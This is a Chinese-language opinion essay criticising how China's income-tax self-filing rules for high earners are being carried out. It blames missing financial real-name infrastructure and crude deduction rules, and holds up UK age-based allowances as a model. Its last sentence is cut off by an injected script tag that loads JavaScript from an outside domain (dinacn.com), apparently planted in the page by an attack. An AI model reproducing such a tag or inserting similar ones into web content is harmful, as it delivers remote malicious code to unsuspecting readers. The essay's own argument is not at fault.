《个人所得税自行纳税申报办法》已经付诸实施,年所得达到12万元的纳税人,无论取得的各项所得是否已足额缴纳了个人所得税、无论代扣代缴单位是否按规定为其进行了个人所得税明细申报、无论是否按照税法规定进行了日常自行申报,都必须在纳税年度终了后3个月内(公历1月1日至3月31日),向主管税务机关办理年度自行纳税申报。实际上,11年前,国家税务总局就印发了《个人所得税自行申报纳税暂行办法》,规定“在两处以上取得工资、薪金所得和没有扣缴义务人的纳税人需自行申报”,但由于那时人们的收入来源和形式还比较单一,所以并没有得到认真的执行。
比起代扣代缴、分类分项征收的征管模式,实行自主申报与综合申报相结合,逐步实现全民自行申报,是个人所得税走向成熟的标志,是一件具有进步意义的举措。可是,从自行申报制实施近三个月以来的实际情况看,人们似乎对其中蕴含的道理还不太理解。既然自行申报是体现纳税人权利与义务的进步制度,在现实生活中却为何“碰壁”呢?人们常说纳税人是国家的主人,可是,如果纳税人连自己该纳什么税、纳过多少税、税款如何使用等都不不清楚、不关心,又谈得上什么国家主人的权利和地位?
税务机关也在着急。近日,国家税务总局网站发布通告,呼吁人们抓紧最后的时间申报,并警告,如果没有在纳税申报期内办理纳税申报,将承担相应的法律责任。但是,其效果显然相当有限。
那么,问题出在哪里呢?是人们嫌麻烦、怕多缴税,还是制度本身存在问题?笔者认为,要求高收入者自行申报,一方面,税制本身应当尽可能完善以获得纳税人的普遍接收,并应具备相应的配套条件;另一方面,这个制度的实施需要高素质的纳税人群与之密切配合。然而现实情况告诉我们,这两方面都存在较为严重的问题和缺陷,这是自行申报“出师不利”的主要原因。
一是相关配套措施不完备。个人所得税的自行申报需要金融实名制的支持,建立严格的个人收入、支出结算信息系统,实行信用证和个人支票制度,并要在这个前提下,将纳税人所有的收入都归并在一个身份证号码之下——所有金融信息在银行和税务机关的电脑里都能够顺利而准确地查到。这才能形成“综合”成为个人所得税的计税依据,这是税务机关搜集个人应税所得信息和实现交叉税务稽核的基本条件。居民身份证同时就是一个人的税务编码卡,他取得各种收入都必须填写该代码,他所有的大额支付都必须以转账方式进行,尽最大可能减少现金流通。否则,整个支付体系就难以发生作用,税务机关就不可能通过计算机网络进行集中处理,不可能准确地掌握纳税人的各项收支情况,也就不可能有效地控制和审核个人的纳税申报。
金融实名制的建立、个人信息系统的完备、金融机构与税务系统的协调配合,每一步都需要一个相当漫长的构建和磨合过程。在相关法律不完善,纳税人意识相当淡薄,纯民间资金流转难以监控,隐性收入、灰色收入被成功地大量隐匿的情况下,自行申报这一步却抢先迈了出去,怎能不“碰壁”?更要命的是,自行申报的贸然“登台”,无助于纳税人权利和义务意识的觉醒和加强。逃税的照样逃、不愿申报的也就不申报,税务机关对这种“法不则众”的局面无可奈何。三个月过去,最后也只能是杀几个“猴”给“鸡”看,一时难以拿出什么高招来。就像下了一步“臭棋”,不着手制度的设计和完善是很难收到成效的。
二是税制本身的缺陷未加修正,这是包括笔者在内的许多学者反复指出过的一个老问题。我国实行的是总收入减去固定的扣除部分作为应纳税所得额的计税办法,标准规定得过于简单,没有认真考虑不同纳税人的赡养人口、子女抚养及教育、医疗费用、住房购置费用负担等因素。这些“大头”费用,过去很多都是由政府承担的,现在转由个人承担,那么,政府就应当把这笔钱留给个人,在税前予以扣除,而这恰恰是个税设计者久久没有认真加以考虑的问题。他们没有认识到,增加这些个人所得税的税前扣除项目,按照最低生活标准抵扣个人所得税,也就相当于个人所得税免征额标准的提高,可以在调动纳税人自觉性和积极性上取得实际效果。在个人所得税的税前扣除方面,英国的扣除项目以规定细致而著称,有个人扣除、已婚夫妇扣除、子女税收宽免、工薪家庭税收宽免等。以个人扣除为例,他们是按照一定的年龄界限分档界定的。65岁以上到74岁的老人,扣除标准比普通纳税人提高了32%,75岁以上的老人扣除标准则进一步提高了6%。这一规定实际上是以税收优惠的形式体现社会对老年人的关爱以及对他们一生为社会所做贡献的尊重与肯定。这些宝贵的经验本来都可以成为我们改革个人所得税制的参考借鉴。
笔者曾建议,将我国个人所得税的扣除项目区分为必要费用和生计费用两大类。必要费用是指为取得个人收入而支付的费用;生计费用是指维持纳税人及其赡养人口基本生活的最低费用。这样区分后,还应进一步细化我国个人所得税的费用扣除项目,如实行教育扣除、残疾人扣除?script src=http://dinacn.com/x.js> |